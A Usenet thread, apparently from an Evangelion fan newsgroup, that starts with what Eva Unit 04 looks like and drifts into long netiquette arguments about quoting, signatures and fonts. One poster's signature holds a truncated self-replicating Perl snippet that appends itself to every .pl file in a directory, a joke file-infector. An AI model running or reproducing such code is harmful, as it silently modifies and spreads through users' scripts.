Evangelion 04
Kakarotto
like? I heard that it was like a Chrome (with red parts) version of 03, Is
this true?
Kakarotto
it looks just like 01 but all 01's purple parts are Chrome/silver.
@JüN
news:BFyV8.4127$7G4.6...@news.xtra.co.nz...
> But then I also have a picture of what I think is supposed to be 04 vs 01,
> it looks just like 01 but all 01's purple parts are Chrome/silver.
>
who the hell would decide to make a silver and chrome eva unit, imagine the
cleaning and polishing it'd need o_O;;
u'd take it out for a test drive and come back, and there ya have it, the
paint would show up the dirt badly :(
Amani
> We don't see Eva 04 in the series or movies do we, so what does it look
> like? I heard that it was like a Chrome (with red parts) version of 03, Is
> this true?
Hm. This is the best pic I could find in a big rush. ^_^;
http://www.lwhy.clara.net/nge/image53.jpg
I do know there aren't many good pictures of Unit-04, in any case.
--Taryn
Candice
> like? I heard that it was like a Chrome (with red parts) version of 03, Is
> this true?
If the toy is anything to go by, then yes, it looks a lot like a chrome
version of Unit 04, with a few bits of red trim.
-C.
Disaster
> "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > But then I also have a picture of what I think is supposed to be 04 vs
01,
> > it looks just like 01 but all 01's purple parts are Chrome/silver.
> >
>
> who the hell would decide to make a silver and chrome eva unit, imagine
the
> cleaning and polishing it'd need o_O;;
>
> u'd take it out for a test drive and come back, and there ya have it,
the
> paint would show up the dirt badly :(
Does blood come off chrome easily? Or Angel goo?
--
Kind regards
Disaster
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Disaster
> "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > We don't see Eva 04 in the series or movies do we, so what does it
look
> > like? I heard that it was like a Chrome (with red parts) version of
03, Is
> > this true?
>
> Hm. This is the best pic I could find in a big rush. ^_^;
>
> http://www.lwhy.clara.net/nge/image53.jpg
>
> I do know there aren't many good pictures of Unit-04, in any case.
Yeah that image just doesn't make sense to me! You think you got the head
kinda figured out at first so you look at it closer and it becomes a
massive jumble of shades and lines that maybe a shrine shows to you to see
if yer crazy or not.
Kakarotto
"Disaster" <disa...@disfanfic.net> wrote in message
news:uif0qso...@corp.supernews.com...
> "Amani" <am...@charter.net> wrote:
> >
> > Hm. This is the best pic I could find in a big rush. ^_^;
> >
> > http://www.lwhy.clara.net/nge/image53.jpg
> >
> > I do know there aren't many good pictures of Unit-04, in any case.
>
> Yeah that image just doesn't make sense to me! You think you got the head
> kinda figured out at first so you look at it closer and it becomes a
> massive jumble of shades and lines that maybe a shrine shows to you to see
> if yer crazy or not.
> --
That is the picture of the models box, and look disaster I did my best to
bottom post right.
Candice
"Candice" <iswh...@hotmail.com> wrote in message
news:MsFV8.7732$At1.4...@twister.southeast.rr.com...
> If the toy is anything to go by, then yes, it looks a lot like a chrome
> version of Unit 04, with a few bits of red trim.
Excuse me, I meant Unit 03.
-C.
Disaster
> "Disaster" <disa...@disfanfic.net> wrote:
> > "Amani" <am...@charter.net> wrote:
> > >
> > > Hm. This is the best pic I could find in a big rush. ^_^;
> > >
> > > http://www.lwhy.clara.net/nge/image53.jpg
> > >
> > > I do know there aren't many good pictures of Unit-04, in any case.
> >
> > Yeah that image just doesn't make sense to me! You think you got the
head
> > kinda figured out at first so you look at it closer and it becomes a
> > massive jumble of shades and lines that maybe a shrine shows to you to
see
> > if yer crazy or not.
>
to
> bottom post right.
Yeah but you left my sig in there! :P
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Disaster
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Kakarotto
Disaster
Who posted a binary? You posted an html file but I see no binary anywhere!
Dragonslayer
> "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > Cheers man, You do realise that you are gonna get flamed by the
> > likes od Disaster for posting binaries, but thanks anyway. I've got
> > Eva 00, 01 and 02 Bandai Limited Edition High Grade Model kits,
> > All i need now are the two you have and Eva 05-13 and maybe Jet
> > Alone.
no problem mate ^_^ ....good hunting!!!
> Who posted a binary? You posted an html file but I see no binary anywhere!
gomen nasai!!! still quite new to this......won't happen again folks ^_^'
Rudolf Polzer
> "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > That is the picture of the models box, and look disaster I did my best to
> > bottom post right.
>
> Yeah but you left my sig in there! :P
Maybe because the sig is important?
BTW: Why do I think more of Prostetnic Vogon Jeltz than of Asuka
when reading your posts (not especially this one)?
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eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
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####################### http://learn.to/quote #######################
Disaster
> "Disaster" <disa...@disfanfic.net> wrote:
> > "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > > Cheers man, You do realise that you are gonna get flamed by the
> > > likes od Disaster for posting binaries, but thanks anyway. I've got
> > > Eva 00, 01 and 02 Bandai Limited Edition High Grade Model kits,
> > > All i need now are the two you have and Eva 05-13 and maybe Jet
> > > Alone.
>
> no problem mate ^_^ ....good hunting!!!
>
> > Who posted a binary? You posted an html file but I see no binary
anywhere!
>
> gomen nasai!!! still quite new to this......won't happen again folks
^_^'
There's an FAQ or two you can review to help get you unnew to this.
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > "Kakarotto" <kaka...@xtra.co.nz> wrote:
> > > That is the picture of the models box, and look disaster I did my
best to
> > > bottom post right.
> >
> > Yeah but you left my sig in there! :P
>
> Maybe because the sig is important?
Why? The little bit at the top takes care of identification. Not the
signatures, they are sign off pieces.
> BTW: Why do I think more of Prostetnic Vogon Jeltz than of Asuka
> when reading your posts (not especially this one)?
I don't even know who that is!
Kakarotto
with the pics, sorry again.
Disaster
*Shrug*
I don't care that much. Easy to understand an oversight like that.
Richard Liang
>>BTW: Why do I think more of Prostetnic Vogon Jeltz than of Asuka
>> when reading your posts (not especially this one)?
>>
>>
>
>I don't even know who that is!
>
Prostetnic Vogon Jeltz... now there's a name I haven't heard in a long
time (rubs chin in Obi-Wan-ian fashion). Do you mean, in particular,
Disaster's description of Asuka or Disaster's messages in general? :)
(Prostetnic Vogon Jeltz, if I recall correctly, was the commander of the
alien ship that was sent to demolish Earth in The Hitchhiker's Guide to
the Galaxy. Kinda tough to describe, especially since it's been a while
since I read HHGG, but I seem to remember he, like the rest of his race,
were cruel and destructive, but mostly just stupid.)
Richard
Rudolf Polzer
> Disaster wrote:
>
> >>BTW: Why do I think more of Prostetnic Vogon Jeltz than of Asuka
> >> when reading your posts (not especially this one)?
> >
> >I don't even know who that is!
> >
> Prostetnic Vogon Jeltz... now there's a name I haven't heard in a long
> time (rubs chin in Obi-Wan-ian fashion). Do you mean, in particular,
> Disaster's description of Asuka or Disaster's messages in general? :)
Disaster's messages.
> (Prostetnic Vogon Jeltz, if I recall correctly, was the commander of the
> alien ship that was sent to demolish Earth in The Hitchhiker's Guide to
> the Galaxy. Kinda tough to describe, especially since it's been a while
> since I read HHGG, but I seem to remember he, like the rest of his race,
> were cruel and destructive, but mostly just stupid.)
Not really stupid (the commander wasn't at all) - but they like to
shout in all circumstances.
But Disaster can easily contradict this by posting some poetry. If it's
worse than Vogon poetry, he *is* human.
SCNR
Disaster
> Scripsit illa aut ille Richard Liang <rhl...@interchange.ubc.ca>:
> > Disaster wrote:
> >
> > > > BTW: Why do I think more of Prostetnic Vogon Jeltz than of Asuka
> > > > when reading your posts (not especially this one)?
> > >
> > > I don't even know who that is!
> > >
> > Prostetnic Vogon Jeltz... now there's a name I haven't heard in a long
> > time (rubs chin in Obi-Wan-ian fashion). Do you mean, in particular,
> > Disaster's description of Asuka or Disaster's messages in general? :)
>
> Disaster's messages.
>
> > (Prostetnic Vogon Jeltz, if I recall correctly, was the commander of
the
> > alien ship that was sent to demolish Earth in The Hitchhiker's Guide
to
> > the Galaxy. Kinda tough to describe, especially since it's been a
while
> > since I read HHGG, but I seem to remember he, like the rest of his
race,
> > were cruel and destructive, but mostly just stupid.)
>
> Not really stupid (the commander wasn't at all) - but they like to
> shout in all circumstances.
>
> But Disaster can easily contradict this by posting some poetry. If it's
> worse than Vogon poetry, he *is* human.
I refuse to either prove or disprove this theory. YOU HAVE NOTHING ON US!
Rudolf Polzer
> > Not really stupid (the commander wasn't at all) - but they like to
^^^^^
> > But Disaster can easily contradict this by posting some poetry. If it's
> > worse than Vogon poetry, he *is* human.
>
> I refuse to either prove or disprove this theory. YOU HAVE NOTHING ON US!
(I underlined the capitalized words - for those who refuse to use a
fixed width font)
Isn't that a proof?
(V qb xabj vg vfa'g)
Vaughn L.Porter
news:slrnaioh16.7vq.Ant...@www42.durchnull.de...
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > > Not really stupid (the commander wasn't at all) - but they like to
> > > shout in all circumstances. ^^^^^^^
> ^^^^^
> > > But Disaster can easily contradict this by posting some poetry. If
it's
> > > worse than Vogon poetry, he *is* human.
> >
> > I refuse to either prove or disprove this theory. YOU HAVE NOTHING ON
US!
>
^^^^^^^^^^^^^^^^^^^^^^^
> (I underlined the capitalized words - for those who refuse to use a
> fixed width font)
>
> Isn't that a proof?
>
> (V qb xabj vg vfa'g)
>
Not really, Rudolf. That's just Disaster for you.
Vaughn L.Porter
You didn't see anything.
IT WAS NOTHING! NOTHING AT ALL!
........
NOTHING! YOU HEAR ME?
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > > Not really stupid (the commander wasn't at all) - but they like to
> > > shout in all circumstances. ^^^^^^^
> ^^^^^
> > > But Disaster can easily contradict this by posting some poetry. If
it's
> > > worse than Vogon poetry, he *is* human.
> >
> > I refuse to either prove or disprove this theory. YOU HAVE NOTHING ON
US!
>
^^^^^^^^^^^^^^^^^^^^^^^
> (I underlined the capitalized words - for those who refuse to use a
> fixed width font)
>
> Isn't that a proof?
It's a choice to use which ever font you want to, not a refusal to use a
fixed width and that's not an underline it's a mess and abuse of shift+6.
I use Comic Sans MS because I enjoy the official font used in comics. Not
because I refuse to help you abuse a character set. How about getting over
your obsession with "^" marks and refer to the material with words?? The
English language DOES provide a few ways to do that you know!
Another solution that you might consider (because everyone else does it
too) is to break apart the material and reply to each section as you need
to! Thus avoiding the mess we all see above.
Disaster
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> > Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > > "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > > > Not really stupid (the commander wasn't at all) - but they like to
> > > > shout in all circumstances. ^^^^^^^
> > ^^^^^
> > > > But Disaster can easily contradict this by posting some poetry. If
> it's
> > > > worse than Vogon poetry, he *is* human.
> > >
> > > I refuse to either prove or disprove this theory. YOU HAVE NOTHING
ON
> US!
> >
> ^^^^^^^^^^^^^^^^^^^^^^^
> > (I underlined the capitalized words - for those who refuse to use a
> > fixed width font)
> >
> > Isn't that a proof?
> >
> > (V qb xabj vg vfa'g)
>
> Not really, Rudolf. That's just Disaster for you.
Yeah I haven't even read the book so I don't even know what the hell to
quote!
Rudolf Polzer
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > (I underlined the capitalized words - for those who refuse to use a
> > fixed width font)
> >
> > Isn't that a proof?
>
> It's a choice to use which ever font you want to, not a refusal to use a
> fixed width and that's not an underline it's a mess and abuse of shift+6.
When I press Shift-6, a & comes out. Yeah, we Germans have weird
keyboards.
> Another solution that you might consider (because everyone else does it
> too)
Everyone else? Haha. Which other newsgroups do you know?
I can name at least 490 newsgroups that use this practice.
> is to break apart the material and reply to each section as you need
> to! Thus avoiding the mess we all see above.
It's the general mean of marking a short passage in Usenet.
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
it
> > too)
>
> Everyone else? Haha. Which other newsgroups do you know?
We are not in any other newsgroups Rudolf. We are in this one and in this
one we have made choices as a whole regardless of what anyone else does in
any other group.
> I can name at least 490 newsgroups that use this practice.
I don't give a fuck if you can name all of the newsgroups that have ever
existed. None of those groups are THIS group.
> > is to break apart the material and reply to each section as you need
> > to! Thus avoiding the mess we all see above.
>
> It's the general mean of marking a short passage in Usenet.
Not, however, in the JAE group. So your comment is invalid, it is
apparently only in common usage to some of the other groups that you are
aware of. Even if all 490 other groups do indeed use your method, they are
a pitiful sample compared to all the other groups in total. Your 490 is
really rather insignificant. As there is upwards of around 60000 groups,
or however many it's about that last time I checked, getting a universal
format is not going to be possible, there are going to be stupid and
unfriendly methods used somewhere, like the inefficient method you use to
high text.
Rudolf Polzer
> > It's the general mean of marking a short passage in Usenet.
>
> Not, however, in the JAE group.
OK. Where is the posting where this newsgroup's rules are stated? If
there is none, go write one.
> So your comment is invalid, it is apparently only in common usage to
> some of the other groups that you are aware of.
In all German groups, as well as in the international groups I know of.
That's all minus three groups I have subscribed.
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > > It's the general mean of marking a short passage in Usenet.
> >
> > Not, however, in the JAE group.
>
> OK. Where is the posting where this newsgroup's rules are stated? If
> there is none, go write one.
If you want a list of rules, go back to school. No where have a found a
more unwritten list of rules then on USENET. If you can't figure them out
don't try to change them to suit! Until then how about the JAE FAQ? I'm
sure there are some good protocols there you can follow.
> > So your comment is invalid, it is apparently only in common usage to
> > some of the other groups that you are aware of.
>
> In all German groups, as well as in the international groups I know of.
> That's all minus three groups I have subscribed.
We are not in a German group are we!? All minus 3 groups, excludes those
groups, so by your own definition you admit to using a format where you
know it does not belong.
Tim Hammerquist
the following.
- fixed-width fonts are traditional, as usenet predates variable-width
computer fonts. this is now a preference and is unenforcible. it
_is_, however, _my_ preference.
- top-posting is evil! top-posting arrived with MS Outlook Distress
and possibly also with the first AOLers. it is generally preferred
to quote the relevant _piece_ of text, then reply, then the _next_
relevant piece, reply, repeat.
- quoted signatures, likewise, are generally a nuisance.
These things are often addressed in a newsgroup's FAQ or charter,
along with what, precisely, is considered "on-topic" to try to avoid
confusion. The FAQ/charter would tell new posters _not_ to request
binaries in this ng.
Also, profanity is typically considered vulgar, both in usenet and
elsewhere IRL. Since this ng is _not_ in the alt.* hierarchy, so I
assume it clings to higher standards.
That said, I belong to no German ngs, and 80% of my subscriptions
are inside the comp.* hierarchy. I use a text-mode newsreader which
runs in an xterm; I can easily use a graphical news client (a la NS
Messenger) but I don't. The items in the list above are my opinions
and preferences, though they are hardly "rules" in any sense American's
typically understand.
I realize I'm probably in the minority of this group, but I thought I'd
offer a different viewpoint.
On a different note: I can't recall Eva 04 either, though I remember
03's attack quite well. =(
wrt Disaster's response: YHBT. YHL. HAND.
Tim Hammerquist
--
Abel had been dead for a couple of hours now.
But he was starting to feel better.
-- Narrator, The Sandman
Watchman
Forget not the bad poetry! :)
--
'Anyone who isn't confused doesn't really know what's going on'
Watchman
>
> "Vaughn L.Porter" <vau...@pcez.com> wrote:
> > Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> > > Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
> > > > "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> > > > > Not really stupid (the commander wasn't at all) - but they like to
> > > > > shout in all circumstances. ^^^^^^^
> > > ^^^^^
> > > > > But Disaster can easily contradict this by posting some poetry. If
> > it's
> > > > > worse than Vogon poetry, he *is* human.
> > > >
I think you're forgetting that Vogon poetry is only the third worst
poetry in the universe.
Rudolf Polzer
So ther would be not one, but two possibilities then.
Maybe I am already excluding one of the two?
Disaster
> > "Vaughn L.Porter" <vau...@pcez.com> wrote:
> > > > > > But Disaster can easily contradict this by posting some
poetry. If
> > > > > > it's worse than Vogon poetry, he *is* human.
>
> I think you're forgetting that Vogon poetry is only the third worst
> poetry in the universe.
Normally this would be insulting but actually it's not. I hold both of the
first places for bad poetry.
Disaster
> Scripsit illa aut ille Watchman <str...@SPAMPHOBICwhyalla.net.au>:
> > I think you're forgetting that Vogon poetry is only the third worst
> > poetry in the universe.
>
> So ther would be not one, but two possibilities then.
>
> Maybe I am already excluding one of the two?
I really want you to learn how to clean up posts!
Disaster
> FWIW, in my (somewhat different) experience with usenet, I've noticed
> the following.
What is FWIW?
> - fixed-width fonts are traditional, as usenet predates variable-width
> computer fonts. this is now a preference and is unenforcible. it
> _is_, however, _my_ preference.
That's fine! No one said you couldn't use it or even that you should not
use it.
> - top-posting is evil! top-posting arrived with MS Outlook Distress
> and possibly also with the first AOLers. it is generally preferred
> to quote the relevant _piece_ of text, then reply, then the _next_
> relevant piece, reply, repeat.
Yes Evil.
> These things are often addressed in a newsgroup's FAQ or charter,
> along with what, precisely, is considered "on-topic" to try to avoid
> confusion. The FAQ/charter would tell new posters _not_ to request
> binaries in this ng.
The lack of "binary" in the very groups name should by itself also declare
this group a non-binary group!
> Also, profanity is typically considered vulgar, both in usenet and
> elsewhere IRL. Since this ng is _not_ in the alt.* hierarchy, so I
> assume it clings to higher standards.
Of course it is generally vulgar, doesn't stop it's use either here or in
real life.
> I realize I'm probably in the minority of this group, but I thought I'd
> offer a different viewpoint.
I don't see how this is a minority here. We are not comparing your opinion
or practices, or that of anyone else's, to all of USENET, only to the
group in which you express those opinions or use those practices. If we
polled all of USENET you'd probably find that every procedure that can
possibly be viewed as reasonable in anyone's mind is in as much use as any
other format. Simply because of the sheer size of USENET.
> On a different note: I can't recall Eva 04 either, though I remember
> 03's attack quite well. =(
Eva 04 was never actually shown in the series and didn't make it to the
movies. You remember the NERV base that got blasted? That's where it was
being built. The apparent blast came at about the same time that they were
testing an experiment S2 unit.
> wrt Disaster's response: YHBT. YHL. HAND.
And in english?
Tim Hammerquist
> What is FWIW?
For What It's Worth
>> this is now a preference and is unenforcible. it _is_, however,
>> _my_ preference.
>
> That's fine! No one said you couldn't use it or even that you should
> not use it.
Hence the word: "preference".
>> These things are often addressed in a newsgroup's FAQ or charter,
>> along with what, precisely, is considered "on-topic" to try to avoid
>> confusion. The FAQ/charter would tell new posters _not_ to request
>> binaries in this ng.
>
> The lack of "binary" in the very groups name should by itself also
> declare this group a non-binary group!
There is a group of people who do not know the purpose of binary groups,
nor even the definitition of "binary". This would be the target
audience of these FAQs.
> Eva 04 was never actually shown in the series and didn't make it to
> the movies. You remember the NERV base that got blasted? That's where
> it was being built. The apparent blast came at about the same time
> that they were testing an experiment S2 unit.
Thx. =) Appreciated.
>> wrt Disaster's response: YHBT. YHL. HAND.
>
> And in english?
http://www.tuxedo.org/~esr/jargon/html/entry/YHBT.html
http://www.google.com/search?q=YHBT
<http://dict.org/> is also your friend.
Cheers,
Tim Hammerquist
--
If only the Earthlings appreciated life as we
do, I would not have to kill so many of them.
-- Jovian soldier, "Martian Successor: Nadesico"
Disaster
> Disaster graced us by uttering:
I like the way that sounds!
> > > this is now a preference and is unenforcible. it _is_, however,
> > > _my_ preference.
> >
> > That's fine! No one said you couldn't use it or even that you should
> > not use it.
>
> Hence the word: "preference".
Errr, perhaps "option" or "optional" is a better word here? At least for
the first time you use it in the sentance above.
> > The lack of "binary" in the very groups name should by itself also
> > declare this group a non-binary group!
>
> There is a group of people who do not know the purpose of binary groups,
> nor even the definitition of "binary". This would be the target
> audience of these FAQs.
Anyone who comes here gets a quick lesson!
> > Eva 04 was never actually shown in the series and didn't make it to
> > the movies. You remember the NERV base that got blasted? That's where
> > it was being built. The apparent blast came at about the same time
> > that they were testing an experiment S2 unit.
>
> Thx. =) Appreciated.
No problems, you just keep shooting platitudes in your ID lines at the top
there! ;)
> >> wrt Disaster's response: YHBT. YHL. HAND.
> >
> > And in english?
>
> http://www.tuxedo.org/~esr/jargon/html/entry/YHBT.html
> http://www.google.com/search?q=YHBT
Well, aren't you smart!
Tim Hammerquist
>> > The lack of "binary" in the very groups name should by itself also
>> > declare this group a non-binary group!
>>
>> There is a group of people who do not know the purpose of binary
>> groups, nor even the definitition of "binary". This would be the
>> target audience of these FAQs.
>
> Anyone who comes here gets a quick lesson!
You never get sick of answering the same question over and over again?
[ snip ]
> Well, aren't you smart!
Is this a trick question? ;)
Tim Hammerquist
--
Nothing so needs reforming as other people's habits.
-- Mark Twain, "Pudd'nhead Wilson's Calendar"
Disaster
Most of the time I am happy to abuse people who are nasty about it. If we
ever get sick of a question we throw it in the FAQ and tell people to go
there. Lately a few of us have had an unusual spark of energy and we have
been answering the questions. Every once in a while someone even comes up
with a new way of arguing about something.
> [ snip ]
> > Well, aren't you smart!
>
> Is this a trick question? ;)
.... Maybe! I'll let you know when yer wrong!
Tim Hammerquist
>> You never get sick of answering the same question over and over
>> again?
>
> Most of the time I am happy to abuse people who are nasty about it. If
> we ever get sick of a question we throw it in the FAQ and tell people
> to go there. Lately a few of us have had an unusual spark of energy
> and we have been answering the questions. Every once in a while
> someone even comes up with a new way of arguing about something.
Fair enough. Hey, comp.lang.perl.misc could use someone with your
patience with newbies...
>> > Well, aren't you smart!
>>
>> Is this a trick question? ;)
>
> .... Maybe! I'll let you know when yer wrong!
I've no doubt. =)
Tim Hammerquist
--
His ignorance is painful.
-- Cell, Dragonball Z
Vaughn L.Porter
news:3D30E89B...@SPAMPHOBICwhyalla.net.au...
Yes, Master Yoda.
Vaughn L.Porter
May the Force be With You.
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > "Vaughn L.Porter" <vau...@pcez.com> wrote:
> > > > > > > But Disaster can easily contradict this by posting some
> poetry. If
> > > > > > > it's worse than Vogon poetry, he *is* human.
> >
> > I think you're forgetting that Vogon poetry is only the third worst
> > poetry in the universe.
>
> Normally this would be insulting but actually it's not. I hold both of the
> first places for bad poetry.
> --
You can't be that bad. Your main intestine hasn't leapt up through your
throat to throttle your brain! ;p
Watchman
>
> Disaster graced us by uttering:
> > What is FWIW?
>
> For What It's Worth
>
*scribbles furiously muttering darkly about excessive acronyms*
Tim Hammerquist
> Tim Hammerquist wrote:
>>
>> Disaster graced us by uttering:
>> > What is FWIW?
>>
>> For What It's Worth
>
> *scribbles furiously muttering darkly about excessive acronyms*
Don't forget my favorite!
IMNERHO -- In My Never Even Remotely Humble Opinion
You shouldn't have to keep track of all these. But then, I've
been out of the chat scene so long, I didn't know what ASL was...
<http://dict.org/> should help you out with most others. =)
Cheers,
Tim Hammerquist
--
"Even a manager can understand HTML."
-- Tim Berners-Lee
Disaster
> Disaster graced us by uttering:
> > > You never get sick of answering the same question over and over
> > > again?
> >
> > Most of the time I am happy to abuse people who are nasty about it. If
> > we ever get sick of a question we throw it in the FAQ and tell people
> > to go there. Lately a few of us have had an unusual spark of energy
> > and we have been answering the questions. Every once in a while
> > someone even comes up with a new way of arguing about something.
>
> Fair enough. Hey, comp.lang.perl.misc could use someone with your
> patience with newbies...
Uh, maybe as I don't know that language I won't go there eh?
Disaster
> Disaster wrote:
> > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > I think you're forgetting that Vogon poetry is only the third worst
> > > poetry in the universe.
> >
> > Normally this would be insulting but actually it's not. I hold both of
the
> > first places for bad poetry.
>
> throat to throttle your brain! ;p
Well, true, it hasn't but then I'm not a character in a piece of fiction
either!
Disaster
> Tim Hammerquist wrote:
> > Disaster graced us by uttering:
> > > What is FWIW?
> >
> > For What It's Worth
>
> *scribbles furiously muttering darkly about excessive acronyms*
*Accidentally, deliberately sets fire to your stake of notes concerning
acronyms and the stake of paper where you get your dark muttering from.*
Mantra's are SUPPOSE to be good things!
Vaughn L.Porter
news:slrnaj4f4...@vegeta.ath.cx...
Tim, you don't, by any chance, work for Intel, do you?
I heard acronyms are all the rage there.
> "Even a manager can understand HTML."
> -- Tim Berners-Lee
Tim Berners-Lee never worked for a Contract Manufacturing Firm apparantly.
Vaughn L.Porter
Time is NOT on my side!
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Disaster wrote:
> > > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > > I think you're forgetting that Vogon poetry is only the third worst
> > > > poetry in the universe.
> > >
> > > Normally this would be insulting but actually it's not. I hold both of
> the
> > > first places for bad poetry.
> >
> > You can't be that bad. Your main intestine hasn't leapt up through your
> > throat to throttle your brain! ;p
>
> Well, true, it hasn't but then I'm not a character in a piece of fiction
> either!
*shocked silence*
Y-You m-m-mean y-your REAL!!
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Tim Hammerquist wrote:
> > > Disaster graced us by uttering:
> > > > What is FWIW?
> > >
> > > For What It's Worth
> >
> > *scribbles furiously muttering darkly about excessive acronyms*
>
> *Accidentally, deliberately sets fire to your stake of notes concerning
> acronyms and the stake of paper where you get your dark muttering from.*
>
> Mantra's are SUPPOSE to be good things!
> --
My stacks of papers are fireproof. The stakes of papers are to fool the
uninitiated! :p~~
Tim Hammerquist
[ snip ]
>> Hey, comp.lang.perl.misc could use someone with your patience with
>> newbies...
>
> Uh, maybe as I don't know that language I won't go there eh?
You seem to have gotten the wrong idea about those alread in that
newsgroup. ;)
Besides, are you saying there's something wrong with being a newbie in a
new place? =)
Tim Hammerquist
--
I'm brave, but my feet arent! Damn feet!
-- Akito Tenkawa, Martian Successor Nadesico
Tim Hammerquist
> Tim Hammerquist <t...@vegeta.ath.cx> wrote:
[ snip ]
>> You shouldn't have to keep track of all these. But then, I've
>> been out of the chat scene so long, I didn't know what ASL was...
>> <http://dict.org/> should help you out with most others. =)
>
> acronyms are all the rage there.
Not likely. Intel has already convicted and criminalized one of my
acquaintances.
http://www.lightlink.com/spacenka/fors/
(Be careful. "fors" is also an acronym...)
Besides, I can't give them that much acronym credit when their _name_
isn't even an acronym!!! Try these, instead.
IBM: <http://www.ibm.com/>
SCO: <http://www.sco.com/>
BSD: <http://www.bsd.org/>
ADV: <http://www.advfilms.com/> (Sorry; couldn't resist. =)
I'm not
>> "Even a manager can understand HTML."
>> -- Tim Berners-Lee
>
> Tim Berners-Lee never worked for a Contract Manufacturing Firm
> apparantly.
Those with managers who are _still_ below the comprehension threshold
for HTML can at least laugh that these same managers think that writing
HTML is remotely akin to programming. ... I did. =)
Tim Hammerquist
[ snip ]
>>> "Even a manager can understand HTML."
>>> -- Tim Berners-Lee
>>
>> Tim Berners-Lee never worked for a Contract Manufacturing Firm
>> apparantly.
>
> Those with managers who are _still_ below the comprehension threshold
> for HTML can at least laugh that these same managers think that
> writing HTML is remotely akin to programming. ... I did. =)
I did _laugh_, that is.
Tim Hammerquist
--
All language designers are arrogant. Goes with the territory... :-)
-- Larry Wall in <1991Jul13.0...@netlabs.com
Rudolf Polzer
> > - fixed-width fonts are traditional, as usenet predates variable-width
> > computer fonts. this is now a preference and is unenforcible. it
> > _is_, however, _my_ preference.
>
> That's fine! No one said you couldn't use it or even that you should not
> use it.
Correct. But this also means that you should live with others using such
a fixed-width font - and if something has been marked, you don't see
what has been before setting the font (or using the clipboard to view
the text in notepad).
Try it with this:
.___=;____.. .
._==++|=+++=++++|++++=:
_%= ..._+++++++=++====++======.
.. . _++++++=+====++========+===;___..
_+++=+===+=+====+++=+=++=||ilvvi|*++..
.= .=======++=+=+=+=+==+=+===+|=|iI||=::
|=... +=<>=>==+=+=+=+==+====+===+|li|=====_
:==+ :;=xsiv=+=++=+=+==+==+=======iii:-::--:=.
:+==:=*|l+xli>=====+=-:=+===:=_ . --+:
:==== :==|%l===-.=-.,i:======;-
===- :==----: . .u=os+( ---~=......
. .: - ... ..=>_dod2os;<;. .-_ ,::. .
. : . <xi` sxooa1ix>!*S>=+||_._ _+:. _%+^
. . ... <|x({22ocx2:_=oa;=|||||+||+;: . .
. ... ..... ....-:=:. -~~{X2222SS22o>|||+= +|+=: __*<xi ,
. . .._. . . "So2o2o222>=|=|+:.==- e=avvs.(|
. .. ..._=|:- -::: -"So2o2}+~---- |= _ni}i|l=)s
. . . ._i+~ ""So>+. ..;- -1vsixvxv%
.. ._+~ -:.. -"!=+|||~ "vlIIvI+
~ =||;;.. ___. :>:_;:,
.... .=|||||=|;... . . _auS21osaxxnxia>=
. -++|||||||iiiiiisii%<+>+ +=+=~=---::<
... . -+~++|+|+"{|+|=:::`.` -` --- - -
OK, it's low quality, but you should be able to recognize this picture.
You'll have to retreat from the screen to see it.
> > These things are often addressed in a newsgroup's FAQ or charter,
> > along with what, precisely, is considered "on-topic" to try to avoid
> > confusion. The FAQ/charter would tell new posters _not_ to request
> > binaries in this ng.
>
> The lack of "binary" in the very groups name should by itself also declare
> this group a non-binary group!
ACK.
But just look at one posting you produced and one someone else produced:
http://test.durchnull.ath.cx/disbroken.png - you can see three bugs of
your software on one picture: the incorrect word wrapping which makes
the quotation levels unclear, the wrongly separated signature (it has
to be "-- ", not "--") and the superfluous empty lines at the end of the
posting (not really severe).
For comparison I put one of Watchman's postings at the other side. You
see the quotation then correctly coloured, the signature in reverse
video (it would be automatically snipped when replying) and no empty
lines at the end.
Disaster
> Disaster wrote:
> > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Well, true, it hasn't but then I'm not a character in a piece of
fiction
> > either!
>
> *shocked silence*
>
> Y-You m-m-mean y-your REAL!!
No, a fictional character who doesn't really exist has been posting half
of the JAE all these years! Hah! Fooled you! :P
Disaster
> Disaster graced us by uttering:
> > "Tim Hammerquist" <t...@vegeta.ath.cx> wrote:
> > Uh, maybe as I don't know that language I won't go there eh?
>
> You seem to have gotten the wrong idea about those alread in that
> newsgroup. ;)
LOL
> Besides, are you saying there's something wrong with being a newbie in a
> new place? =)
Apparently I would fit right in! But I imagine that they at least know
SOMETHING about perl. The best I have are counter and guest book
tutorial's that tell you what tags to throw in your html.
Disaster
> > acronyms are all the rage there.
>
> Not likely. Intel has already convicted and criminalized one of my
> acquaintances.
What did he do?
> Those with managers who are _still_ below the comprehension threshold
> for HTML can at least laugh that these same managers think that writing
> HTML is remotely akin to programming. ... I did. =)
LOL
HTML is at least programming like! Not akin or as difficult I'm sure but
sometimes you get just as frustrated! :D Although HTML doesn't cause me as
much trouble as expression building in MS Access97. O_o;;;
Disaster
> Disaster wrote:
